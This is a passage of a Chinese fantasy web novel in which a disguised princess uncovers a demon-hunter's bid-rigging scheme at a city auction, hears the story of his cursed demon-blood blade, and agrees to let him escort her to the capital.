喝过药,牧青瑶离开单间,在前堂终于看到了医者。 是位年过六旬的老者,白须如雪,一身干净利落的青衫大褂,正在给病人写着方子。 等病人走后,牧青瑶上前道谢。 “多谢先生救命之恩。” “医者本分而已,治病拿钱,无需道谢。” “请问先生尊名。” “一介庸医,区区俗名不提也罢,既然姑娘已经无碍,便可结账了。” “送我来的人呢?” “早走了。” “他可曾说过什么?” 老医者回忆了一下,道:“他先问我有没有救,得到肯定答复后,倒是留下了一句话。” “他留了什么话?” “他说,等你醒了自己付账。” 牧青瑶的黛眉隐隐跳了两下。 付了账,牧青瑶离开医馆。 回头看了眼,医馆的名字有点特殊。 庸医馆。 天下医馆繁多,从来没人敢在医馆前面加个庸字,这相当于自砸招牌。 可偏偏百玉城里的这间庸医馆,病人络绎不绝,而且对那老先生极为尊重。 长街上热闹不已,人来人往。 牧青瑶站在医馆前左右看了看,俏脸上略显懊恼。 “跑得真快!” 牧青瑶想过自己会被追杀而亡,也想过自己会在蛇毒下死去,万万没想到的是,自己会被扔在医馆,而云缺早已不见踪迹。 紧紧抿着唇,牧青瑶做出一个决定。 她要找到云缺! 她还没听完云缺的故事,她想知道那把长刀里究竟藏着什么秘密。 她更想打造出前朝的斩妖司,将天下间的妖邪肃清。 起伏的心绪,很快冷静下来。 小郡主快速分析了一下,猜测云缺有可能还在百玉城。 在街上打听了一番,牧青瑶对自己的猜测更加断定。 今天是百玉城一月一度的大集,周边村镇前来赶集的百姓和行商数不胜数。 最热闹的,不是白天,而是大集当晚。 白天集市上售卖的,都是些附近城镇的特产之类,晚上才会出现真正的好东西。 按照打听来的消息,牧青瑶来到北街大集。 这里人山人海,灯火通明,街边两侧全是各种各样的摊位,热闹的程度不亚于皇城。 每月的月底这一天,北街大集都是百玉城最热闹繁华的地方。 而北街大集中最热闹的地点,要数老树商行。 老树商行是百玉城最大的一家商行,建在一株千年古树下,由此得名。 老树商行集售卖为一体,出售各类物资,主要面对修行者,有灵药有武器有功法,甚至还有驯化的妖兽。 回收的东西较为斑杂。 各类兽皮,各种材料,金银铁玉,刀枪剑戟,但凡值点钱的东西,都能拿到老树商行估个价。 当然再好的东西,回收价往往也不会很高。 低买高卖,永远是商贾之道。 商行占地极大,犹如一间气派的酒楼,当大集这一天,整个商行的一楼会被清空,改为拍卖场。 入场费不算贵,一两银子,但商行额外收取拍卖品的抽红。 一月一次拍卖会,一年十二次,单凭着拍卖会,老树商行便赚得盆满钵满。 毕竟再好的买卖,也没有无本的买卖赚钱。 拍卖会,对商行来说就是无本买卖,稳赚不赔。 牧青瑶走进老树商行的时候,一楼大厅人满为患。 二层是一圈单独的包间,包间的门口挂着纱帘,从外面看不到里面,但里面能看到外面。 一间包间的费用是三十两银子,这个价格足够昂贵,不过包间也坐满了大半。 牧青瑶登上二楼,交付银子要了间包间,里面有名贵的香茶与精致的点心。 刚刚坐好,拍卖会宣告开始。 老树商行的拍卖会显得简单粗犷,场中站着位中年拍卖师,卖家可当场拿出竞拍品,由拍卖师估出个底价后开始拍卖。 那拍卖师十分老道,眼力刁钻,经验丰富,随手拿到物件扫一眼即可估价,而且善于调侃,经常妙语连珠,引得场下笑声不断。 牧青瑶兴致勃勃的欣赏着这场拍卖会,当进行到一半的时候,她的目标终于出现。 拍卖师拿到了一张完整的狼皮。 随后唱戏般吆喝起来: “八阶妖兽三眼血狼皮一张!皮毛完好无缺甚是难得,可做成三件狼皮袄,大夫人一件,二夫人一件,外面养的美妾一件,家庭和睦方可招财万贯,起拍价,纹银三百两!” 第23章 二十斤忘忧散 看到血狼皮的那一刻,牧青瑶微微翘起嘴角,显现出一丝女儿家的小小得意。 她找不到云缺,但能推算出云缺的下落。 必定会来拍卖会,卖那张狼皮。 拍卖师报出底价后,会场掀起一阵惊讶声。 三百两不是小钱,普通人家几十年都赚不到三百两,这种奇货绝非寻常百姓能买得起。 上好的皮毛,往往是富贵人家最为钟爱的东西,不仅能御寒,还象征着地位。 尤其妖兽的皮毛,更能彰显身份。 人群里有几个富态的身影兴趣大起,正当有人要加价之际,一道不和谐的声音响起。 “三眼血狼气血太重,寻常人可穿不了,轻则身体虚弱,重则卧病在床,卖这种皮毛,不是害人么,我看多说二百两,不能再高了。” 大厅里的人太多,分辨不出是谁在说话,人们顿时议论纷纷,那几个想要出价的有钱人也变成了观望。 二楼包间内,牧青瑶的秀眉微微动了动。 人太多,她也看不到说话的是谁,但这道声音,牧青瑶可记得。 牧青瑶有着过目不忘的能力,听声辨人也轻而易举。 这道声音的来源,就是清晨在城门外的那名校尉! 牧青瑶不清楚云缺与那校尉的关系,但早上的情形,证明两人肯定认识。 可拍卖会里的这场落井下石,又让牧青瑶十分不解。 如果是熟人,何必点出狼皮的缺点? 拍卖师闻言后哈哈一笑,道: “没错!三眼血狼以气血凶悍著称,狼皮上的气血普通人确实扛不住,不过,能买得起这种狼皮的,哪能是普通人呢,狼皮到手后,只要找人清除掉气血之力,便是最佳的御寒之物,尤其还是红色的狼皮,这种颜色的狼皮袄,就算天祈城里也不多见呐。” 声音顿了顿,拍卖师继续道: “我们商行可清除狼皮中的气血,收费合理,只要五十两银子即可,若穿上后有什么不适,我们老树商行全权负责。” 有商行背书,人群里想要购买狼皮又有些担心的有钱人立刻安心下来。 加价声开始出现。 一次十两银子,不多时便到了四百两。 四百两之后,加价声明显少了许多。 拍卖师微微点头,他估的最终成交价,不会超过五百两,现在差不多到头了。 “我出五百两!” 人群里传出一道冷冽的声音。 牧青瑶听到后再次皱了下秀眉。 这个出价五百两的声音,就是刚才贬低狼皮价格的那校尉。 任凭灵芸郡主如何聪慧过人,现在也有些糊涂了。 怎么刚才还在贬低,现在又来加价? 不仅牧青瑶听出对方的声音,拍卖师也听了出来,于是疑惑道: “阁下不是刚刚说这狼皮至多二百两么,怎么加到了五百两?” “我看中的东西,用些手段又如何,在下八品武者,这张血狼皮可用来打熬气血,强韧筋骨,对我正有用,我出价五百两,诸位给个面子!” 话音一落,在场众人与拍卖师纷纷恍然大悟。 人们对此人的手段没多少在意,毕竟这种先贬低物品再争抢购买的情况,在拍卖会太过常见。 人们最感兴趣的,是血狼皮对八品武者的用处。 八品炼骨境武者,需要打熬气血淬炼筋骨,花费巨大,而血狼皮居然对八品武者也有好处。 议论声中,再次有人加价,将价格抬到五百五十两。 随后又有人直接出价六百两。 八品武者,在藏石镇那种小地方的确可以横着走,不过这里是百玉城,边关重镇。 八品武者的面子,在百玉城的分量还不太够。 校尉冷哼了一声,不再开口,显然放弃了竞争。 最后血狼皮以六百两的高价成交。 拍卖会进行过半,拍卖师宣布中场休息,一时间大厅里人声鼎沸。 这段中场休息的时间,也是人们可以互相交易的时间。 许多人拿出好东西售卖或者换购,询价砍价叫嚷谩骂声此起彼伏。 牧青瑶隔着纱帘,盯住了校尉的身影,看到对方起身离开座位,走进一间小屋。 一楼四周,有着不少密封的小屋,只有一扇门而没有窗。 这种小屋专门用来给交易双方使用。 毕竟有些东西不适合当众拿出来,或者有人担心怀璧其罪,怕自己的好东西被旁人惦记。 牧青瑶立刻下楼,穿过人群,来到校尉走进的小屋门外。 趁着周围人来人往,牧青瑶佯装路过,在门口蹲下身系起了鹿皮小靴的鞋带。 屋门不厚,贴在门隐隐能听到里面的声音。 两个人,正在对话。 “多说四百两的狼皮,卖到六百两,其中的二百两差价,有我一半。” “少来!差点没让你搞砸了,你只说血狼皮对武者有好处就完了,加什么戏,非得抬出八品武者的身份,你不怕把别人吓到,没人出价了。” “百玉城又不是你们藏石镇,有钱的多了去了,他们才不在乎什么八品武者,表明身份,才能让人觉得更加真实,对血狼皮才能更加看重,别说没用的,钱已经到你手了,拿来一百两。” “你有没有职业道德,说好的五十两,多一分也没有,爱要不要。” “在银子面前,我连爹娘都不认,你觉得我会有道德么,一口价八十两。” “七十两,账里扣,再抬价以后我就换人了,唱双簧的有的是。” “好,就七十两,不过我要现银,拿钱来。” “你还欠我一百九十五两呢!” “一码归一码,账先欠着,钱先拿来。” 听到这里,牧青瑶实在没忍住,笑出声来,她急忙捂住嘴。 原来屋里这俩人一直在拍卖会上演双簧呢。 虽然尽力憋住笑声,可还是出了一丁点声音,屋子里立刻安静下来。 随后屋门一开。 正是清晨城门口那一身轻甲的校尉,心口处的护心镜擦拭得一尘不染,冷冰冰的扫了眼门外。 “这位姑娘,有事么。”校尉冷漠道。 “我想找人,他应该就在屋子里。”牧青瑶大大方方的道。 “那便进来说话吧。” 校尉将牧青瑶让进屋子,随后将屋门锁死。 牧青瑶进屋后,立刻看到坐在对面的黑衣少年,而对方也是愣了一下。 牧青瑶抿了下唇,道: “雇人恶意抬价,坑骗外人,若被告发,声誉尽毁,以后的买卖会很难做。” 云缺尴尬了一下,怒气冲冲的对校尉道: “你丫的没开隔音法阵是不是!二两银子你都舍不得啊,这下好,隔墙有耳,你看怎么办!” 这种交易小屋,自带小型隔音法阵,可隔绝屋内的声音。 不过开启一次需要额外花费二两白银,一般在小屋里交易的人都会提前开启隔音法阵。 这小屋是校尉提前选的,云缺以为对方开了隔音法阵,不料对方吝啬到如此地步,为了省钱,根本没开法阵,以至于刚才的谈话都被人家听了去。 校尉冷笑了一声,斜着朝上的吊眼梢泛起寒意,盯着牧青瑶道: “好办,我来处理。” 云缺抱着肩膀看热闹道:“你打算怎么处理,说来听听,该不是要灭口吧。” 校尉冷声道:“灭口太麻烦,先把她打晕,再给她灌二斤忘忧散,今天的事她肯定不会记得。” “二斤!是不是太多了,会不会超量给吃死?”云缺道。 “不会,我调配的忘忧散,五斤以内不会死人,五斤能忘了自己是谁,四斤能忘了爹娘儿女,三斤能忘了家里有多少钱,一斤能忘掉一天内的所有经历,保险起见,至少给她灌二斤才行。”校尉冷漠道。 牧青瑶听得眼睛都瞪大了。 还有这种手段? 卑鄙龌蹉的人,牧青瑶也见过不少,但她头次见到把卑鄙之事说得如此理直气壮的家伙。 云缺听得直乐,指着牧青瑶道: “你知不知道她是谁,她是灵芸郡主,你觉得灌几斤忘忧散合适呢。” 牧青瑶微微仰起头,郡主的贵气显现无疑,道: “不知忘忧散是何味道,本郡主很想见识见识。” “呵,随便找个小丫头就自称郡主,云缺,你是想卸磨杀驴一拍两散啊,有了新搭档,就踹了老搭档,你当我会信么。”校尉不屑道。 直到牧青瑶拿出那块紫金打造的阴阳令,校尉的目光立刻一变,单膝跪地。 “百玉城校尉梅钱,见过郡主殿下!” 牧青瑶忍着笑,指向云缺道:“此人知道我很多秘密,梅校尉觉得如何处置才妥当。” 梅钱起身后,冷漠的盯着云缺道: “郡主不必担心,我来处理,先把他打晕,再给他灌二十斤忘忧散。” “二十斤!猪都吃不进去你怎么给我灌!你不说五斤以下吃不死人吗,二十斤,你要毒死我啊!”云缺骂道。 “你体质太强,二十斤只是个保守数字,先灌着看,不行还得再加。”梅钱冷哼道。 “你他娘是哪边的?”云缺骂道。 “我梅钱永远站在权利的一边。”梅钱冷漠道。 “行!姓梅的,从今天起咱们一拍两散,恩断义绝再无情义。”云缺道。 “情义?咱们俩之间有那东西么。”梅钱道。 “是哦,好像真没有,那算了,我不怪你,不过砍你的时候你也别喊救命。”云缺道。 牧青瑶实在忍俊不禁,捂着小嘴笑出声来。 梅钱的耳廓微微动了动,仿佛听到了什么,十分识趣的躬身道: “小人先行告退了,郡主若有差遣,小人定当万死不辞。” 说完就想走。 结果云缺提前起身,堵住了门,并且开启了隔音法阵。 看着云缺似笑非笑的表情,梅钱的脸上现出一瞬怒容。 他有种强烈的预感,自己要被坑! 第24章 一夜鱼龙舞 “下半场拍卖还没开始,梅校尉别急着走,我这里还有一桩更赚钱的买卖。” 云缺笑容和蔼的道。 梅钱的脸色则越来越难看,暗暗咬牙,恨不得破开木屋立刻走人。 梅钱与云缺早就熟悉,他深知云缺的能力,更见过云缺杀妖的模样。 每当猎到一头妖兽,云缺的脸上就会现出与此刻一般无二的笑意。 “城门重地,不能耽搁太久,尤其今天是大集,城里城外乱的很,我这就得走了。”梅钱冷声道。 “少来!上个月大集你一晚上都没去城门那边,今天急什么。” 云缺笑呵呵的道:“先来说说我这桩买卖,灵芸郡主打算近日返回皇城,梅校尉只要将郡主安全送达,即可得到一千两白银的奖励,怎么样,考虑考虑,这可是一笔大买卖,一千两啊,足够你买到不少灵材炼体,如果你还不满意,郡主可以提供一个让你成为皇城禁军的名额。” 梅钱闻言后眼皮跳了跳。 一千两确实够多,禁军的名额也足够吸引人,若能加入禁军,附带着自己的户头也会落在皇城。 能住在皇城,不仅是普通百姓的梦想,也是梅钱这种武者的梦想。 天子脚下,繁华之地,又有强大的伏妖阵存在,无需提防妖邪,天祈皇城的吸引力,绝对不小。 梅钱下意识的看了眼牧青瑶。 牧青瑶缓缓颔首道:“禁军校尉。” 禁军校尉四个字,听得梅钱抽了口冷气。 虽然同是校尉,官职没变,但天祈皇城的禁军校尉与边关百玉城的城门校尉,简直天壤之别! 无论俸禄还是人脉,亦或者晋升的机会,都截然不同。 梅钱沉吟了一下,道: “调派属下随行,需要城守之令方可,擅离职守的话,会触犯军规,郡主大人若召集护卫,可去城守府,城守大人一定会派遣重兵护送,调令一下,属下万死不辞。” 既然梅钱打出官腔,牧青瑶没在多说什么,点头说好。 随后梅钱便告辞准备离开。 临走前,云缺忽然道: “郡主此次微服私行,梅校尉切勿对外声张,否则若郡主有个三长两短,你可真就得万死不辞喽。” 梅钱连忙承诺道:“郡主放心,属下绝不会泄露郡主的行踪。” 说完梅钱瞪了眼云缺,嘴角动了动抿出三个无声的字眼。 算你狠! “不要银子了?七十两呐,拍卖会结束后我给你现钱啊。”云缺道。 “账里扣!还欠你一百二十五两!”梅钱开门就走,头都没回。 离开老树商行,梅钱冷着脸穿过长街,走进一条无人小巷。 “灵芸郡主身上到底有多少残留的死气?” 梅钱用手按着护心镜,奇怪的自言自语。 “很多,近期有三百条以上的人命因她而死。” 护心镜上闪烁过暗淡的光泽,传出一道苍老的声音。 “灵芸郡主出行,至少会有八品高手护卫,独身一人现身此地,说明她的护卫全被杀了!她成了烫手的山芋!她身上残留的死气那么多,你怎么不早说!”梅钱埋怨道。 “谁知道郡主会突然出现,我早告诉你离那姓云的小子远点,他是个天煞孤星。”苍老的声音道。 “回去我就请病假,先躲上半个月,敢惦记灵芸郡主的势力,我一个小小校尉可惹不起,云缺那死鬼坑死我了,这哪是什么浑水,这他娘是火山!谁跳谁死!”梅钱骂道。 “不错,你看得还算透彻,不枉我栽培你多年,不过你最好加快点修炼速度,否则会被那姓云的小子越拉越远。” “一年内,我有把握冲进七品,就算云缺比我快,也甩不开我多少。” “呵呵,你的谨慎很好,你的志气也不弱,但你看的还不够远,不够深,你知不知道,那云缺身上的煞气,又变重了。” “他就是个屠夫,你早说过他煞气如山,煞气再重能当饭吃不成。” “这次不一样,他身上新增的煞气很强,我估计是两名七品。” 梅钱的脚步豁然一顿,眼中泛起深深的惊骇。 “同时击杀两名七品……”梅钱骇然低语。 “尽早挖走宝藏,你应该清楚,宝藏里的东西对武者意味着什么,别忘了那云缺也是武夫。” “有你在,难道我会斗不过他?” “呵呵,别太自大,斗那云缺不难,不过,他的那把刀,我没有把握斗得过。” 梅钱锁紧了眉峰,加快脚步道:“我知道了。” …… 老树商行。 下半场拍卖会继续进行。 云缺坐在了二楼包间,喝着茶,吃着点心,还是以往的狼吞虎咽。 很快桌上的吃食消失一空。 “你那位朋友,好像很谨慎。”牧青瑶坐在桌旁,托着腮,微笑着看向云缺。 “不仅谨慎,为人还阴险狡诈,只认钱不认人,他可不是我朋友,多说算半个。”云缺没吃饱,问道:“还给不给点心了,这么点够谁吃啊。” “你不怕,他把我的行踪说出去,引来红莲教。”牧青瑶道。 “这点郡主可以放心,没有好处的事,梅钱从来不做,出卖郡主太过危险,那家伙怕死得很,趟浑水这种事他避之不及。”云缺不以为意的道。 只有足够了解,才能算作朋友。 尽管只是半个朋友。 “为什么丢下我一个人在医馆。” 牧青瑶面带轻笑的道,语气中没有质疑,只有好奇。 “说好了送你到百玉城,咱们的买卖结束了。”云缺硬气道。 “既然梅钱是你半个朋友,那么,我算你的朋友么。”牧青瑶的笑容很美,透着纯洁无瑕, “这个……算吧。”云缺无法违心。 毕竟这一路两人互相以命相救,同生共死过。 “既然算的话,那么我若死在返回皇城的路上,你会不会伤心,多年后会不会还记起我这个曾经帮你找蛇蛋的朋友呢。”牧青瑶的声音轻灵,仿佛在诉说着一桩心事。 “喂,感情牌这么打就没意思了,你被蛇咬之前,我也玩命救你来着,我们已经两清了。”云缺道。 “没让你送我回皇城,我只想知道,我死之后,你会不会还记得我。” 牧青瑶转过头,望向热闹的拍卖场,自语道:“我朋友很少,常年奔波在外,我把护卫们都当做朋友,但他们都死了,因我而死,我不想你这个朋友也落到客死他乡的下场,今晚过后,我会去城守府寻求官军护送,能否活着回到皇城,看我自己的造化。” “郡主福大命大,肯定一路顺风。”云缺想了想,道:“如果郡主陨落,我会记得你这个朋友。” “那就好。”牧青瑶展颜而笑,像极了一朵盛开的梨花。 但屋子里的两人都知道,花儿盛放到极致的时候,便是凋零的开始。 “没什么事的话,我先走了,山高水长,郡主殿下咱们后会有期。”云缺抱了抱拳。 “后会有期。”牧青瑶轻声道。 云缺走后,小郡主的笑颜渐渐消散,她一个人默默的观看着拍卖会。 孤零零,好似一朵凝固在风雪中的花儿。 人生终有散场。 热闹的拍卖会也在不久后曲终人散,只剩下空荡荡的商行大厅。 牧青瑶最后一个走出老树商行。 一个人独自漫步街头。 脚步从最初的略有迷茫,直至稳健轻快。 从决定开始寻找灵花的那一年,牧青瑶就知道自己会随时有葬送生命的危险。 这条路,她不知能走多远,能走多久。 不过既然选了这条路,她就会坚定的走下去,像那些为了灵花而战死的师兄师姐一样。 无怨无悔! 一条漂亮的大鱼从牧青瑶身旁游过。 热闹的鼓乐声随之而来。 小郡主驻足于街头,回头望去,长街上行来一队舞龙之人。 大鱼是花头,在队伍最前方,由彩纸制成,惟妙惟肖。 后面是十余名载着花脸面具的黑衣人,舞着一条金灿灿的长龙。 这是百玉城每次大集的压轴节目。 鱼龙舞! 街边站满了看热闹的人,人们的脸上喜气洋洋,到处是欢声笑语。 鱼龙在舞者的手中上下翻飞,有着消灾降福的美好祈愿。 牧青瑶聚精会神的看着,俏脸上渐渐现出释怀的笑容。 尽管天下间妖邪繁多,天灾人祸不断,但人们依旧没有绝望,而是尽力的活着。 活出只属于自己的那份精彩。 “愿天下无妖,无邪……” 小郡主在心里暗暗祈福,这场鱼龙舞,她看得如痴如醉。 当龙首经过身旁的时候,戴着面具的舞龙者一只手伸了过来,示意街边的牧青瑶也加入其中。 牧青瑶错愕的一下,便笑着伸出手,在对方手把手的教导下很快掌握了舞龙的步伐。 牧青瑶第一次舞龙。 她尽情的舞着,尽情的笑着,这一刻,忘记了所有烦恼。 队伍抵达长街尽头的广场后,四周燃起烟花,犹如一片美丽的花海。 一夜鱼龙舞。 花海照边城。 庆典已然结束,但人群并未散去,广场中心升起篝火,人们围拢成圈,唱着跳着,彻夜狂欢。 牧青瑶站在广场旁。 秀美的小脸被夜风吹得有些发红,身旁是刚刚教她舞龙的舞着,仍旧戴着面具。 “女孩子家,最好不要轻易与陌生人牵手,小心被拐走。” 舞龙者声音低沉的道。 “舞龙的人,最好不要总背着刀,小心划破了龙。” 牧青瑶仰着脸轻笑道。 舞龙者叹了口气,摘下面具,正是云缺。 “早看出了是我?”云缺道。 “不然呢,我像是谁邀请都会跟着走的女孩么。”牧青瑶道。 “你这么聪明,应该知道我这种人为了钱财可以冒险,人命都有个价格,如果报酬超过一万两,足够我拼命,你的月玉,一万两恐怕也买不来,为什么不拿这块玉利用我。”云缺皱眉道。 “我不想你丢命,因为你是我的朋友。” 牧青瑶轻声低语,清澈的眼眸深处泛起着一抹柔情。 第25章 妖血武夫 明亮的烟火下,欢快的歌声中,灵芸郡主的俏脸显得愈发明媚,令人痴迷。 云缺始终皱着眉,如同第一次看到对方一样,打量了半天。 “所以朋友这种东西,太麻烦,我至多找半个。”云缺叹气道。 “为什么不找一个朋友,非得半个呢。”牧青瑶微微偏着头,好奇道。 “半个朋友用起来最方便,可以随时出卖,无需内疚。”云缺道。 “那么,我是半个朋友,还是一个呢。” 小郡主的提问,云缺没有回答,而是在一棵老树旁坐了下来。 “我不喜欢朋友,因为你永远也看不透人心,你不知道自己的朋友会在什么时候杀掉你。” 云缺拍了拍身后的刀鞘,道:“我的刀就是我的第一个朋友,如果有机会的话,我会亲手埋了它。” 牧青瑶坐在云缺旁边,她能感受到云缺眼底流转的恨意。 “武者的刀剑,是第二生命,你为何会恨一把刀?” “我到青狐山的时候,被一个老猎人收养,他教我如何狩猎如何制作陷阱,当时我以为自己再次有了家人,可第二年,老猎人就死了。” 云缺抬头望着星空,呢喃道:“那天我独自去制作陷阱,把刀留在了木屋,回去的时候,老猎人只剩下一张人皮,血肉皆空,我的刀不仅能猎妖,还会吃人的。” 从云缺的诉说中,牧青瑶听闻了一段惨痛的经历,聪慧的灵芸郡主也大致猜到了前朝斩妖司的秘密。 “大燕斩妖司的武者,之所以神秘而强大,应该与所用的武器有关。”牧青瑶道。 “世间有一种特殊的武者,以妖血炼体,以妖骨强身,以妖魂壮神,与妖同生共存,被天下修士所不容,世人谈之色变,称其为妖武者或者妖血武夫。” 云缺的声音变得低沉: “打造妖武者很难,需要将妖物的神魂封入本体,再将妖物躯体炼化成刀剑作为本命武器,成功后可借助妖魂施展出堪比妖族的强大力量,缺点是本命武器一旦折断,妖武者也会随之陨落,我,也许是世上最后一个妖血武夫。” 牧青瑶静静的聆听着。 尽管云缺的声音平静,小郡主仍然听出了那份埋于心底的苦涩。 妖血武夫,只是怪物的另一种好听的称呼罢了。 妖武者非人非妖,已经脱离了纯粹的人族,成为一种被刻意打造出的战争机器,只为杀戮而存在! 直至现在,牧青瑶才明白了当初云缺为何说自己的命早就卖了。 妖武者都将自己的命,卖给了自己的刀剑! 刀断人亡! “妖武者的制造手段,只有前朝司天监的监正才会,你们晋国别再妄想了,我一个人可撑不起斩妖司,给多少钱都没用,若是你们司天监开设个仵作司,待遇还不错的话,我倒是可以考虑考虑。”云缺道。 牧青瑶原本沉重的心情,听到这里险些笑场。 堂堂司天监,哪能有什么仵作司。 不过转念一想,司天监专门负责晋国之内的诡案与妖邪作祟事件,专门设立仵作司调查尸体死因,好像也很合适。 “没有这把刀,你在妖都之战中恐怕活不下来,它虽然害死了老猎人,但也保护过你,谨慎驾驭的话,以后一定能成为你最大的助力。” 牧青瑶轻声开解说道。 不料云缺忽然古怪的笑了一声。 “哈!我的刀,早在妖都之战的时候就砍断了。” 牧青瑶大为诧异。 按照云缺所言,妖武者与妖同生共存,本命武器一旦断裂,妖武者也会随之阵亡。 刀已经断了,可为何云缺还活着? 牧青瑶的疑惑,也是云缺的疑惑。 想要解开这份谜题,只有回想起那消失的一月记忆,才能得到答案。 牧青瑶再次看向云缺背后的刀鞘。 黑漆漆,冷冰冰,给人一种诡秘而危险的感觉。 “云缺,你可知儒家修士的品阶。”牧青瑶轻声道。 “知道点,九品开窍,八品修身,之后是什么不大清楚,藏石镇这种小地方没多少书可看。”云缺道。 “七品格物,六品立命,五品君子,四品仁者,三品贤者,二品大儒,一品亚圣。” 牧青瑶补全了儒家品阶,轻声道:“其实,我有七品格物境的修为,不过还要等小半年之后才行。” “你真有修为?怎么没见你用呢,八品修身境听说是锤炼文胆,战力虽然不太行,总比凡人强大得多。”云缺奇怪的道。 “我现在没有修为,因为我修炼的法门比较特殊。” 牧青瑶吐露心声,道出了自己的隐秘: “我生来早慧,一岁便开始接触儒道法门,监正师尊亲自为我挑选了一门儒家绝学,叫做十七年蝉,这份法门需要苦修十七载方可成功,未修成之前,丝毫法力不生,一旦修成,便可直接达到七品格物境,并且是圆满境界。” “十七年蝉其实是一种六翅金蝉,因其在地底生活长达十七年之久而闻名,羽化之际,可飞到所有蝉类都无法企及的高度,这也是十七年蝉这份功法的寓意所在。” “十七年蝉囊括了儒道九品八品七品的所有精华,三品连修之下,最初的根基将无比稳健,对今后的修炼之途有着难以想象的好处。” “我修炼十七年蝉已经十六年又八个月,还差四个月便可圆满,年底的时候,是我十七岁的生日,也是我进阶为七品格物境的时候。” “不知道,我还能不能活到十七岁……” 云缺听得感慨万千,道: “你呀,你被你师尊坑了啊!修什么十七年蝉,正常修炼的话你至少也有八品修身境的修为,多少有点自保之力,现在倒好,凡人一个,就算你年底能立地成佛又如何,现在被人捅上几刀还不是得驾鹤西游,带个八品儒家修士去皇城简单得多,至少能互相配合照应,带着个没修为的去皇城,简直就是个拖油瓶!” 云缺的埋怨,牧青瑶深以为然。 她也想当初正常修炼境界,可惜现在后悔已经没用了。 很快牧青瑶愣了一下。 她听出了云缺埋怨中的弦外之音。 “你要送我去皇城?” “你的月玉太值钱了,不管你死活的话,我怕以后做噩梦。” “你可以把月玉还给我。” “不还!还了月玉,我怕以后我死得更快!” 牧青瑶静静的望着身旁的少年,冻得有些发白的俏脸上,渐渐浮现出灿烂的笑容。 “谢谢你,云缺。” “客套就免了,纯粹的买卖而已,郡主殿下额外的那些报酬,是不是也算数。” “当然!三千两白银,外加一个天祈学宫的名额,我决不食言。” “还有呢。” “还有什么?” 牧青瑶疑惑了瞬间,俏脸忽然红了一下,深吸一口气,道:“那件事,也算!” “一下不够。”云缺义正言辞的讨价道:“摸两下。” 牧青瑶眨了眨眼,不解道:“为什么非得多一下?” 云缺扫了眼对方的心窝道:“因为你有两个。” 牧青瑶下意识的以手护胸,紧紧抿着唇,瞪了云缺半晌道: “成交!” 百玉城西街一间客栈内,云缺只要了一个房间。 不是为了占便宜,而是与牧青瑶商议生死大事。 从现在开始,云缺要规划去皇城的路线。 朝掌柜的要了份晋国地图后,云缺觉得头有点疼。 百玉城前往皇城的路线,居然少得可怜,只有区区两三条。 不走大路的话,沿途不是妖物栖息的森林地带,就是水流湍急的大河,再不就是难行的峭壁深渊与荒无人迹的沙漠死地。 这些险路,云缺走得,牧青瑶走不得! 一个娇弱的女孩子,一个不慎就有可能在这些险地中丧命。 到时候无需什么红莲教,天然的险境,足以灭杀掉毫无修为的灵芸郡主。 这下难办了。 那区区几条能走的路线,必定有红莲教的妖人蛰伏,即便纠集路上的官兵护送,也没有多少安全可言。 能一次派出两名七品高手的红莲教,绝非普通官兵能抵挡的存在。 除非是皇城内的禁军,或者身经百战的边军。 想起边军,云缺忽然眼前一亮。 “对了!你爹阜南王不是掌管着边军么!” 提起阜南王,连云缺这种生活在偏远之地的小镇之人也如雷贯耳。 晋国取代燕国,几乎没有多少战争出现,随着燕国最后一位皇帝御驾亲征战死于北域妖都,燕国就耗尽了国运,早已一蹶不振,被晋国轻而易举的取而代之。 晋国的崛起,不仅取代了燕国,也承接了燕国并不安泰的处境。 晋国北方是冰原地带,有着妖都这尊庞然大物,是最大的威胁。 南方是无尽草原,其上生活着嗜血善战的蛮族,时而劫掠边境。 西方是十万大山,毒虫遍地,巫蛊盛行,生人勿近。 东方是兵强马壮的邵武国,始终对晋国虎视眈眈。 阜南王司辰,便是晋国立国之初,崛起的一位璀璨将星。 燕国灭亡之际,草原蛮族变得肆无忌惮,曾经造成过一日一夜之间,杀光边境十三处村寨的残忍恶行。 当时南方的边境地带人心惶惶,百姓提心吊胆,不知何时蛮族的屠刀就要临头。 阜南王临危受命,带领十万大军驻扎于南方边关黑铁城。 阜南王当时并未封王,只是边关将军之职,到了边关后,他没有墨守成规选择防御,而是率军出击杀进了草原,一月之内,灭杀掉蛮族二十多处营寨,斩敌五万之众,就此一战成名! 从此之后,阜南王以战养战,以牙还牙,时不时的突袭草原蛮族,劫掠大量牛羊和奴隶。 黑铁城逐渐变得繁荣。 阜南王更下达军令,以不菲的报酬召集边军,附近百姓当中的青壮踊跃参军。 不到三年光景,十万边军便急速扩张到三十万! 南疆就此稳定下来。 皇帝大喜,册封司辰为阜南王,封牧青瑶为灵芸郡主,更赐给牧青瑶阴阳令,可见皇帝对牧家的看重程度。 时隔多年,南疆边军如今已经到了恐怖的八十万之巨! 坐镇黑铁城的阜南王司辰,私下里被人们称之为镇南王! 八十万边军,别说什么红莲教,就算司辰一声令下,打到天祈城都没有任何问题。 云缺的提议的确不错,但牧青瑶只剩下苦笑,用小手指了指地图上的黑铁城。 随后云缺高兴的心思便烟消云散。 知远县位于晋国西北,而黑铁城在最南端。 也就是说,牧青瑶要见到她爹,就得横跨整个晋国,走的路程比去皇城要远十几倍。 徒有强援,偏偏用不上,云缺的脑子里只剩下一个词儿。 远水不解近渴啊。 当云缺与牧青瑶在客栈里研究路线的时候,城内一间阔气的宅院里飞来一只红燕。 红燕落在高高的墙头,小眼睛眨了眨,朝着一间亮着灯火的书房飞去。 第26章 神仙打架凡人遭殃 城守府内,名为负易的城守将军正在书房把玩着一块美玉。 面前的书桌上,摆着一封牛皮纸封存的密信。 密信与美玉是刚刚被一并送来的,无需拆封,负易也知道里面没有任何书信,而是三百两的银票。 “上品羊脂玉,至少价值二百两,老树商行今天没少赚呐。” 负易满意的笑了笑,将美玉收好打算送给他新纳的美妾。 想要在百玉城赚得盆满钵满,必须有这位城守将军做大树才行,老树商行能发展到今天的规模,与负易的存在离不开关系。 每月大集,老树商行都会奉上丰厚的谢礼。 正要拆封密信取出银票,负易的目光忽然凌厉起来,七品武者的气息瞬间激发而出。 一只红燕飞进屋中。 落在宽大的书桌上,灵动的小眼盯着面前的将军。 负易皱了皱眉,气息随之压制了下去,起身来到门口,确定院外无人,才将门窗关好。 重新回到屋中后,负易的神色变得凝重起来。 桌上的红燕晃了晃头,张口吐出一个气泡。 那气泡无声无息的悬浮在桌面上,渐渐显现出一道盘坐于莲台上的女子身影。 只能看到模糊的影子,看不出容貌。 负易拱手道:“教主深夜到访,不知有何要事。” 气泡中传出一道低沉而简短的女子声音。 